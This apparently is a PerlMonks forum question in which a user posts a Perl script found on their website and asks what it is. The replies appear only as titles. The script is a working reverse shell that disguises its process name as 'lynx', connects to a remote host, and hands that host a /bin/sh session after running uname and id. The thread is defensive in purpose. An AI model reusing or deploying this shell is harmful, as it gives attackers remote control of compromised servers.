GnikLlort has asked for the wisdom of the Perl Monks concerning the following question:
#!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re: Something I found on my site
by rjt (Curate) on Apr 25, 2014 at 20:07 UTC | |
by kennethk (Abbot) on Apr 25, 2014 at 20:25 UTC | |
by GnikLlort (Novice) on Apr 25, 2014 at 20:15 UTC | |
|
Re: Something I found on my site
by mr_mischief (Monsignor) on Apr 25, 2014 at 20:50 UTC | |
by GnikLlort (Novice) on Apr 26, 2014 at 08:03 UTC | |
by mr_mischief (Monsignor) on Apr 28, 2014 at 16:42 UTC | |
|
Re: Something I found on my site
by locked_user sundialsvc4 (Abbot) on Apr 27, 2014 at 00:25 UTC |